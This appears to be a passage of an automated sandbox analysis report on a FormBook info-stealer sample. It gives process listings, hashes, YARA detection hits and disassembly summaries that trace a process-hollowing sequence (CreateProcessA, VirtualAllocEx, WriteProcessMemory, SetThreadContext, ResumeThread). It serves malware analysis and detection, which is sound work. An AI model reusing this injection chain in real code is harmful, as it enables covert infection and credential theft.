                              Commandline:"C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe"
                              Imagebase:0xf0000
                              File size:140'800 bytes
                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                              Has elevated privileges:false
                              Has administrator privileges:false
                              Programmed in:C, C++ or other language
                              Yara matches:
                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2772717715.00000000046B0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                              Reputation:high
                              Has exited:false

                              General

                              Target ID:9
                              Start time:13:16:05
                              Start date:27/11/2024
                              Path:C:\Windows\SysWOW64\prevhost.exe
                              Wow64 process (32bit):true
                              Commandline:"C:\Windows\SysWOW64\prevhost.exe"
                              Imagebase:0xf20000
                              File size:24'064 bytes
                              MD5 hash:79FED29A7F3DF4BA67599EFF3CDB4F1A
                              Has elevated privileges:false
                              Has administrator privileges:false
                              Programmed in:C, C++ or other language
                              Yara matches:
                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2770446993.0000000000DB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2772975174.0000000004810000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                              Reputation:low
                              Has exited:false

                              General

                              Target ID:10
                              Start time:13:16:18
                              Start date:27/11/2024
                              Path:C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              Wow64 process (32bit):true
                              Commandline:"C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe"
                              Imagebase:0xf0000
                              File size:140'800 bytes
                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                              Has elevated privileges:false
                              Has administrator privileges:false
                              Programmed in:C, C++ or other language
                              Reputation:high
                              Has exited:false

                              General

                              Target ID:12
                              Start time:13:16:30
                              Start date:27/11/2024
                              Path:C:\Program Files\Mozilla Firefox\firefox.exe
                              Wow64 process (32bit):false
                              Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                              Imagebase:0x7ff73feb0000
                              File size:676'768 bytes
                              MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                              Has elevated privileges:false
                              Has administrator privileges:false
                              Programmed in:C, C++ or other language
                              Reputation:high
                              Has exited:true

                              Disassembly

                              Reset < >

                                Execution Graph

                                Execution Coverage:49.3%
                                Dynamic/Decrypted Code Coverage:100%
                                Signature Coverage:0%
                                Total number of Nodes:122
                                Total number of Limit Nodes:9
                                execution_graph 2140 d42b27 2141 d42bb9 CreateProcessA 2140->2141 2143 d42e60 2141->2143 2143->2143 1986 d41ef0 1988 d41f14 1986->1988 1987 d41fd9 1988->1987 1991 d42887 1988->1991 2009 d4247f 1988->2009 1993 d42511 1991->1993 1992 d42910 1992->1987 1993->1992 2027 d42a00 1993->2027 2031 d429ff 1993->2031 2035 d43007 1993->2035 2039 d43008 1993->2039 2043 d43320 1993->2043 2047 d433c0 1993->2047 2054 d4331f 1993->2054 2058 d434f8 1993->2058 2062 d434f7 1993->2062 2066 d43b6f 1993->2066 2072 d43b70 1993->2072 2078 d44038 1993->2078 2085 d44198 1993->2085 2091 d44197 1993->2091 2097 d444d8 1993->2097 2011 d424b3 2009->2011 2010 d42910 2010->1987 2011->2010 2011->2011 2012 d43007 Wow64SetThreadContext 2011->2012 2013 d43008 Wow64SetThreadContext 2011->2013 2014 d434f7 VirtualAllocEx 2011->2014 2015 d434f8 VirtualAllocEx 2011->2015 2016 d42a00 CreateProcessA 2011->2016 2017 d429ff CreateProcessA 2011->2017 2018 d433c0 2 API calls 2011->2018 2019 d43320 ReadProcessMemory 2011->2019 2020 d4331f ReadProcessMemory 2011->2020 2021 d43b70 WriteProcessMemory 2011->2021 2022 d43b6f WriteProcessMemory 2011->2022 2023 d44038 2 API calls 2011->2023 2024 d44197 2 API calls 2011->2024 2025 d444d8 2 API calls 2011->2025 2026 d44198 2 API calls 2011->2026 2012->2011 2013->2011 2014->2011 2015->2011 2016->2011 2017->2011 2018->2011 2019->2011 2020->2011 2021->2011 2022->2011 2023->2011 2024->2011 2025->2011 2026->2011 2028 d42a24 2027->2028 2104 d4076c 2028->2104 2032 d42a24 2031->2032 2033 d4076c CreateProcessA 2032->2033 2034 d42abd 2033->2034 2034->1993 2036 d43024 2035->2036 2038 d430f7 2036->2038 2108 d40794 2036->2108 2038->1993 2040 d43024 2039->2040 2041 d40794 Wow64SetThreadContext 2040->2041 2042 d430f7 2040->2042 2041->2042 2042->1993 2042->2042 2044 d43347 2043->2044 2112 d407bc 2044->2112 2048 d43396 2047->2048 2049 d433c7 ReadProcessMemory 2047->2049 2050 d407bc ReadProcessMemory 2048->2050 2053 d4348e 2049->2053 2051 d4339b 2050->2051 2051->1993 2053->1993 2055 d43347 2054->2055 2056 d407bc ReadProcessMemory 2055->2056 2057 d4339b 2056->2057 2057->1993 2059 d4351f 2058->2059 2116 d407d4 2059->2116 2061 d435ab 2061->1993 2063 d4351f 2062->2063 2064 d407d4 VirtualAllocEx 2063->2064 2065 d435ab 2064->2065 2065->1993 2067 d43ba0 2066->2067 2120 d43798 2067->2120 2069 d44016 2069->1993 2069->2069 2070 d43c65 2070->2069 2071 d43798 WriteProcessMemory 2070->2071 2071->2070 2073 d43ba0 2072->2073 2074 d43798 WriteProcessMemory 2073->2074 2077 d43c65 2074->2077 2075 d44016 2075->1993 2075->2075 2076 d43798 WriteProcessMemory 2076->2077 2077->2075 2077->2076 2079 d4403f WriteProcessMemory 2078->2079 2083 d43d38 2078->2083 2082 d44127 2079->2082 2080 d44016 2080->1993 2080->2080 2082->1993 2083->2080 2084 d43798 WriteProcessMemory 2083->2084 2084->2083 2086 d441c5 2085->2086 2087 d43798 WriteProcessMemory 2086->2087 2090 d44271 2087->2090 2089 d444b0 2089->1993 2090->2089 2124 d437cc 2090->2124 2092 d441c5 2091->2092 2093 d43798 WriteProcessMemory 2092->2093 2096 d44271 2093->2096 2094 d437cc ResumeThread 2094->2096 2095 d444b0 2095->1993 2096->2094 2096->2095 2098 d444df ResumeThread 2097->2098 2103 d4443c 2097->2103 2101 d4456f 2098->2101 2099 d444b0 2099->1993 2101->1993 2102 d437cc ResumeThread 2102->2103 2103->2099 2103->2102 2105 d42b28 CreateProcessA 2104->2105 2107 d42e60 2105->2107 2107->2107 2109 d43200 Wow64SetThreadContext 2108->2109 2111 d432c3 2109->2111 2111->2038 2113 d433c8 ReadProcessMemory 2112->2113 2115 d4339b 2113->2115 2115->1993 2117 d43650 VirtualAllocEx 2116->2117 2119 d4370e 2117->2119 2119->2061 2121 d44040 WriteProcessMemory 2120->2121 2123 d44127 2121->2123 2123->2070 2125 d444e0 ResumeThread 2124->2125 2127 d4456f 2125->2127 2127->2090 2128 d41ee0 2129 d41f14 2128->2129 2130 d41fd9 2129->2130 2131 d42887 9 API calls 2129->2131 2132 d4247f 9 API calls 2129->2132 2131->2130 2132->2130 2133 d4364f 2134 d43698 VirtualAllocEx 2133->2134 2135 d4370e 2134->2135 2136 d431f8 2137 d4324d Wow64SetThreadContext 2136->2137 2139 d432c3 2137->2139

                                Executed Functions

                                Function 00D40DAF Relevance: .6, Instructions: 579COMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 282 d40daf-d40ddc 283 d40de3-d40e91 282->283 284 d40dde 282->284 286 d40ea8-d40eac 283->286 284->283 287 d40e93-d40ea5 286->287 288 d40eae-d40edb 286->288 287->286 291 d40ee1-d40ee8 288->291 292 d413ff-d41406 288->292 291->291 293 d40eea-d40eef 291->293 294 d41542-d41549 292->294 295 d4140c-d41413 292->295 298 d40f01-d40fc6 293->298 299 d40ef1-d40efb 293->299 296 d41579-d415b1 294->296 297 d4154b-d41552 294->297 295->295 300 d41415-d4141c 295->300 315 d415b3-d415b5 296->315 316 d415be-d415c1 296->316 297->297 301 d41554-d41576 297->301 341 d40ffd-d4101f 298->341 299->298 302 d41485-d414e1 call d4050c 300->302 303 d4141e-d41425 300->303 330 d414e7-d414f7 302->330 303->303 304 d41427-d41431 303->304 308 d41472-d4147f 304->308 309 d41433-d4143a 304->309 308->302 309->309 312 d4143c-d41470 309->312 312->302 319 d415b7 315->319 320 d415bc 315->320 322 d415c3 316->322 323 d415c8-d4163a 316->323 319->320 320->323 322->323 334 d414fd-d4150b 330->334 336 d41526-d4152c 334->336 337 d4150d-d41520 334->337 336->330 338 d4152e-d41535 336->338 337->336 338->338 340 d41537-d4153c 338->340 340->294 343 d41021-d41028 341->343 344 d40fc8-d40fd4 341->344 343->343 345 d4102a-d4102e 343->345 346 d40fd6 344->346 347 d40fdb-d40fe7 344->347 350 d41030-d41037 345->350 351 d41063-d4107e 345->351 346->347 348 d40fe9-d40ff0 347->348 349 d40ffa 347->349 348->348 352 d40ff2-d40ff8 348->352 349->341 350->350 353 d41039-d4105d 350->353 355 d41080-d41087 351->355 356 d410ee-d411d3 351->356 352->345 353->351 355->355 358 d41089-d41093 355->358 374 d4123d-d4127d 356->374 359 d41095-d4109c 358->359 360 d410db-d410e8 358->360 359->359 363 d4109e-d410d9 359->363 360->356 363->356 376 d41291-d41298 374->376 377 d4127f 374->377 376->376 380 d4129a-d413f9 376->380 378 d411d5-d41231 377->378 379 d41285-d4128b 377->379 386 d41237-d4123a 378->386 379->376 379->378 380->292 386->374
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 6e7d0a9b424c58f505462e4b68cac12b1336d32262d4fed58b6347a2008f58b3
                                • Instruction ID: 729cda6f22c4edff4216ec4113505993536acf6b28874eb72da3133b7c3d866d
                                • Opcode Fuzzy Hash: 6e7d0a9b424c58f505462e4b68cac12b1336d32262d4fed58b6347a2008f58b3
                                • Instruction Fuzzy Hash: B5527178A00619CFDB64CF69D984B9DBBB1BF49310F1481E9E909A7361DB71AE81CF10
                                Function 00D4076C Relevance: 1.8, APIs: 1, Instructions: 341processCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 0 d4076c-d42bcb 3 d42c2d-d42c58 0->3 4 d42bcd-d42bfd 0->4 7 d42cba-d42d13 3->7 8 d42c5a-d42c8a 3->8 4->3 11 d42bff-d42c04 4->11 15 d42d15-d42d42 7->15 16 d42d72-d42e5e CreateProcessA 7->16 8->7 21 d42c8c-d42c91 8->21 13 d42c06-d42c10 11->13 14 d42c27-d42c2a 11->14 18 d42c14-d42c23 13->18 19 d42c12 13->19 14->3 15->16 30 d42d44-d42d49 15->30 39 d42e67-d42f41 16->39 40 d42e60-d42e66 16->40 18->18 22 d42c25 18->22 19->18 24 d42cb4-d42cb7 21->24 25 d42c93-d42c9d 21->25 22->14 24->7 27 d42ca1-d42cb0 25->27 28 d42c9f 25->28 27->27 31 d42cb2 27->31 28->27 32 d42d6c-d42d6f 30->32 33 d42d4b-d42d55 30->33 31->24 32->16 35 d42d57 33->35 36 d42d59-d42d68 33->36 35->36 36->36 38 d42d6a 36->38 38->32 51 d42f51-d42f55 39->51 52 d42f43-d42f47 39->52 40->39 54 d42f65-d42f69 51->54 55 d42f57-d42f5b 51->55 52->51 53 d42f49 52->53 53->51 57 d42f79-d42f7d 54->57 58 d42f6b-d42f6f 54->58 55->54 56 d42f5d 55->56 56->54 60 d42fb3-d42fbe 57->60 61 d42f7f-d42fa8 57->61 58->57 59 d42f71 58->59 59->57 65 d42fbf 60->65 61->60 65->65
                                APIs
                                • CreateProcessA.KERNELBASE(?,?,00000000,00000000,038C3588,038C358C,00D42ABD,?,?,?), ref: 00D42E4B
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: CreateProcess
                                • String ID:
                                • API String ID: 963392458-0
                                • Opcode ID: 3f96cb5aef8ed6a5552f04866a2abc0c451d0337a23394da4782dee4f980989f
                                • Instruction ID: e05c40d88f7c6fd163430d512112b1748c5175b2eadf66983dc7ebf189df35e1
                                • Opcode Fuzzy Hash: 3f96cb5aef8ed6a5552f04866a2abc0c451d0337a23394da4782dee4f980989f
                                • Instruction Fuzzy Hash: ACD10770D002598FDB24CFA8C881BEDBBB1FF59300F0491A9E459A7290DB749E85CF95
                                Function 00D42B27 Relevance: 1.8, APIs: 1, Instructions: 338processCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 66 d42b27-d42bcb 68 d42c2d-d42c58 66->68 69 d42bcd-d42bfd 66->69 72 d42cba-d42d13 68->72 73 d42c5a-d42c8a 68->73 69->68 76 d42bff-d42c04 69->76 80 d42d15-d42d42 72->80 81 d42d72-d42e5e CreateProcessA 72->81 73->72 86 d42c8c-d42c91 73->86 78 d42c06-d42c10 76->78 79 d42c27-d42c2a 76->79 83 d42c14-d42c23 78->83 84 d42c12 78->84 79->68 80->81 95 d42d44-d42d49 80->95 104 d42e67-d42f41 81->104 105 d42e60-d42e66 81->105 83->83 87 d42c25 83->87 84->83 89 d42cb4-d42cb7 86->89 90 d42c93-d42c9d 86->90 87->79 89->72 92 d42ca1-d42cb0 90->92 93 d42c9f 90->93 92->92 96 d42cb2 92->96 93->92 97 d42d6c-d42d6f 95->97 98 d42d4b-d42d55 95->98 96->89 97->81 100 d42d57 98->100 101 d42d59-d42d68 98->101 100->101 101->101 103 d42d6a 101->103 103->97 116 d42f51-d42f55 104->116 117 d42f43-d42f47 104->117 105->104 119 d42f65-d42f69 116->119 120 d42f57-d42f5b 116->120 117->116 118 d42f49 117->118 118->116 122 d42f79-d42f7d 119->122 123 d42f6b-d42f6f 119->123 120->119 121 d42f5d 120->121 121->119 125 d42fb3-d42fbe 122->125 126 d42f7f-d42fa8 122->126 123->122 124 d42f71 123->124 124->122 130 d42fbf 125->130 126->125 130->130
                                APIs
                                • CreateProcessA.KERNELBASE(?,?,00000000,00000000,038C3588,038C358C,00D42ABD,?,?,?), ref: 00D42E4B
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: CreateProcess
                                • String ID:
                                • API String ID: 963392458-0
                                • Opcode ID: acaa6d7bf79433a575f8694b2d35f37a039fd71990b68c816ecebe8f24dba96e
                                • Instruction ID: f537b7753a50c1496b1e41c711bacba3391b4e5c814b2279cfaea15f5e0ad915
                                • Opcode Fuzzy Hash: acaa6d7bf79433a575f8694b2d35f37a039fd71990b68c816ecebe8f24dba96e
                                • Instruction Fuzzy Hash: 1DD10674D002598FDB24CFA8D881BEEBBB1FF59300F0491A9E449A7290DB749A85CF95
                                Function 00D44038 Relevance: 1.6, APIs: 1, Instructions: 130injectionCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 131 d44038-d4403d 132 d4400e-d44010 131->132 133 d4403f-d440af 131->133 134 d44016-d4401d 132->134 135 d43d38-d43e30 call d41eb0 * 4 132->135 139 d440c6-d44125 WriteProcessMemory 133->139 140 d440b1-d440c3 133->140 134->134 136 d4401f-d44026 134->136 156 d43e36-d43e3d 135->156 157 d43fac-d44010 call d41eb0 * 2 135->157 142 d44127-d4412d 139->142 143 d4412e-d44178 139->143 140->139 142->143 156->156 159 d43e3f-d43e44 156->159 157->134 157->135 161 d43e56-d43f2e call d41688 call d41eb0 call d41a70 * 2 call d43798 159->161 162 d43e46-d43e50 159->162 177 d43f33-d43f63 call d41eb0 161->177 162->161 180 d43f65-d43f6c 177->180 181 d43fab 177->181 180->180 182 d43f6e-d43fa0 call d41aa0 180->182 181->157 182->181
                                APIs
                                • WriteProcessMemory.KERNELBASE(00000000,00000000,?,?,?), ref: 00D44115
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: MemoryProcessWrite
                                • String ID:
                                • API String ID: 3559483778-0
                                • Opcode ID: 8ccc2e863bc1e636eb5c1725d28b071cd672c30c06c0859fa312fe6501e9362d
                                • Instruction ID: 3dd9cf0b82d373c0778edce78501d405a5a784436ecd42f51467f7e001f76d93
                                • Opcode Fuzzy Hash: 8ccc2e863bc1e636eb5c1725d28b071cd672c30c06c0859fa312fe6501e9362d
                                • Instruction Fuzzy Hash: 8D4199B5D002589FDF10CFA9D984AEEFBB1AB49310F14902AE814B7250D375A985CF64
                                Function 00D433C0 Relevance: 1.6, APIs: 1, Instructions: 122COMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 187 d433c0-d433c5 188 d43396 call d407bc 187->188 189 d433c7-d4348c ReadProcessMemory 187->189 191 d4339b-d433b2 188->191 194 d43495-d434df 189->194 195 d4348e-d43494 189->195 195->194
                                APIs
                                • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00D4347C
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: MemoryProcessRead
                                • String ID:
                                • API String ID: 1726664587-0
                                • Opcode ID: 979796be1d35c15d27c7f8785af28692515cd74b62ecfcee7720e59984689480
                                • Instruction ID: c30d287796fd9f2c0d228154f10d4368ab1f694c3e407d267e37a34ecbb3eb77
                                • Opcode Fuzzy Hash: 979796be1d35c15d27c7f8785af28692515cd74b62ecfcee7720e59984689480
                                • Instruction Fuzzy Hash: B2418AB9D052599FCF00CFA9D584AEEFBF0AB19310F14906AE918B7210D375AA45CF64
                                Function 00D43798 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 199 d43798-d440af 202 d440c6-d44125 WriteProcessMemory 199->202 203 d440b1-d440c3 199->203 204 d44127-d4412d 202->204 205 d4412e-d44178 202->205 203->202 204->205
                                APIs
                                • WriteProcessMemory.KERNELBASE(00000000,00000000,?,?,?), ref: 00D44115
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: MemoryProcessWrite
                                • String ID:
                                • API String ID: 3559483778-0
                                • Opcode ID: 61c95396aaa92e95901f59fea4e3e3fc7c43a43e9593b195c4b1d62f48f429f4
                                • Instruction ID: 744aa380b59b664945eae42327fa11008f6c0488378cd3e5c89d805bc543ac69
                                • Opcode Fuzzy Hash: 61c95396aaa92e95901f59fea4e3e3fc7c43a43e9593b195c4b1d62f48f429f4
                                • Instruction Fuzzy Hash: EB4178B5D002589FDB10CFA9D984AAEFBF1BB09310F24902AE818B7210D375A985CF64
                                Function 00D444D8 Relevance: 1.6, APIs: 1, Instructions: 115threadCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 209 d444d8-d444dd 210 d444ae-d444af 209->210 211 d444df-d4456d ResumeThread 209->211 212 d444b0-d444b1 210->212 213 d4443c-d4444b call d437cc 210->213 215 d44576-d445b0 211->215 216 d4456f-d44575 211->216 217 d444bb-d444c2 212->217 224 d44450-d44473 call d41eb0 213->224 216->215 224->217 227 d44475-d4447c 224->227 227->227 228 d4447e-d444a5 call d41aa0 227->228 228->210
                                APIs
                                • ResumeThread.KERNELBASE(00000000), ref: 00D4455D
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: ResumeThread
                                • String ID:
                                • API String ID: 947044025-0
                                • Opcode ID: f84b4bcc98d5aeef7b9bc377dcea5201fd09b3232adfe75571a43b23337c09fc
                                • Instruction ID: 790bb28bfed27aadf221e7c9b673c003298eafe48d0999faa347f76049709df4
                                • Opcode Fuzzy Hash: f84b4bcc98d5aeef7b9bc377dcea5201fd09b3232adfe75571a43b23337c09fc
                                • Instruction Fuzzy Hash: F9410BB4D012189FDB10DFA9D584BEEBBF0EB48310F10806AE409B7351DB74AA85CF64
                                Function 00D407BC Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 232 d407bc-d4348c ReadProcessMemory 235 d43495-d434df 232->235 236 d4348e-d43494 232->236 236->235
                                APIs
                                • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00D4347C
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: MemoryProcessRead
                                • String ID:
                                • API String ID: 1726664587-0
                                • Opcode ID: bc587fa77f4ae8759968fb1de6d524dc35ecdb541a6c2cfbfe727959f9cec97b
                                • Instruction ID: b7a9ecba620c9bdf011ca2375846fccdb585af551ae7a5b71bdbec2d46974cae
                                • Opcode Fuzzy Hash: bc587fa77f4ae8759968fb1de6d524dc35ecdb541a6c2cfbfe727959f9cec97b
                                • Instruction Fuzzy Hash: 45416AB9D052589FCF10CFA9D984ADEFBF1BB09310F14906AE818B7210D375AA45CF64
                                Function 00D407D4 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 240 d407d4-d4370c VirtualAllocEx 243 d43715-d43757 240->243 244 d4370e-d43714 240->244 244->243
                                APIs
                                • VirtualAllocEx.KERNELBASE(00000000,?,?,?,?), ref: 00D436FC
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: AllocVirtual
                                • String ID:
                                • API String ID: 4275171209-0
                                • Opcode ID: 312a8c432a938205daf441e9611cf8d420dbb14a09707d6a5a2b3890ca5e8258
                                • Instruction ID: 80f0a6d2e71b770ffc99222ee8192ca47dd4fe1b4cfa149bfd96b575dbe5ce11
                                • Opcode Fuzzy Hash: 312a8c432a938205daf441e9611cf8d420dbb14a09707d6a5a2b3890ca5e8258
                                • Instruction Fuzzy Hash: 3B4156B9D052599FCF10CFA9D984A9EFBB1AB09310F24902AE914B7310D375A945CF64
                                Function 00D4364F Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 248 d4364f-d43690 249 d43698-d4370c VirtualAllocEx 248->249 250 d43715-d43757 249->250 251 d4370e-d43714 249->251 251->250
                                APIs
                                • VirtualAllocEx.KERNELBASE(00000000,?,?,?,?), ref: 00D436FC
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: AllocVirtual
                                • String ID:
                                • API String ID: 4275171209-0
                                • Opcode ID: 5ec41d03fdfc0ed0dca3df7492d009eccaa91847c5d0ff5d83a5407dee84cd6b
                                • Instruction ID: 417173c9ccaeded423fc59988022a05f0db1b56b584ee887e5f627fa397dd4c0
                                • Opcode Fuzzy Hash: 5ec41d03fdfc0ed0dca3df7492d009eccaa91847c5d0ff5d83a5407dee84cd6b
                                • Instruction Fuzzy Hash: EF3155B9D052589FCF10CFA9D984A9EFBB1BB09310F24902AE818B7310D375A945CF64
                                Function 00D40794 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 255 d40794-d43264 258 d43266-d43278 255->258 259 d4327b-d432c1 Wow64SetThreadContext 255->259 258->259 260 d432c3-d432c9 259->260 261 d432ca-d4330e 259->261 260->261
                                APIs
                                • Wow64SetThreadContext.KERNEL32(?,?), ref: 00D432B1
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: ContextThreadWow64
                                • String ID:
                                • API String ID: 983334009-0
                                • Opcode ID: 1b279b3d43c02baeec191d15aec18aee2df2289f2eecebe8a4e53b34a7d2b0fe
                                • Instruction ID: 19aa0c54ce66dbe3a1437b62953c5079bd228f6af0c0831292f56b91832fb1ea
                                • Opcode Fuzzy Hash: 1b279b3d43c02baeec191d15aec18aee2df2289f2eecebe8a4e53b34a7d2b0fe
                                • Instruction Fuzzy Hash: 1B417AB5D012589FDB10CFAAD984A9EFBF0BB49310F14806AE419B7350D378AA45CF64
                                Function 00D431F8 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 265 d431f8-d43264 267 d43266-d43278 265->267 268 d4327b-d432c1 Wow64SetThreadContext 265->268 267->268 269 d432c3-d432c9 268->269 270 d432ca-d4330e 268->270 269->270
                                APIs
                                • Wow64SetThreadContext.KERNEL32(?,?), ref: 00D432B1
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: ContextThreadWow64
                                • String ID:
                                • API String ID: 983334009-0
                                • Opcode ID: 320eadbcbd755d5d9363669dcb343122e0e07dd07f1a4b36ee6a5be6657a7bd0
                                • Instruction ID: b950d7be98dca5054c7509133d08227723e49d3bdbc39f8d34b41dfb8563a299
                                • Opcode Fuzzy Hash: 320eadbcbd755d5d9363669dcb343122e0e07dd07f1a4b36ee6a5be6657a7bd0
                                • Instruction Fuzzy Hash: A04166B5D012589FDB10CFAAD984A9EFBF0BB49314F14806AE419B7350D378AA45CF64
                                Function 00D437CC Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 274 d437cc-d4456d ResumeThread 277 d44576-d445b0 274->277 278 d4456f-d44575 274->278 278->277
                                APIs
                                • ResumeThread.KERNELBASE(00000000), ref: 00D4455D
                                Memory Dump Source
                                • Source File: 00000002.00000002.1735151024.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_2_2_d40000_payload_Kf7Fb.jbxd
                                Similarity
                                • API ID: ResumeThread
                                • String ID:
                                • API String ID: 947044025-0
                                • Opcode ID: 462ac8e6a5a5f977c4089d2ae671ef50db5347bc943367df1a93e4b93f905187
                                • Instruction ID: 522932a78d688d268a8c4d66d6d3c0042a830a85a0224b3f463892a2743ed619
                                • Opcode Fuzzy Hash: 462ac8e6a5a5f977c4089d2ae671ef50db5347bc943367df1a93e4b93f905187
                                • Instruction Fuzzy Hash: 1031A9B9D012189FCF10DFA9E584A9EFBF4EB09314F24906AE818B7310D374A945CFA4

                                Execution Graph

                                Execution Coverage:1.5%
                                Dynamic/Decrypted Code Coverage:4.9%
                                Signature Coverage:7.7%
                                Total number of Nodes:142
                                Total number of Limit Nodes:13
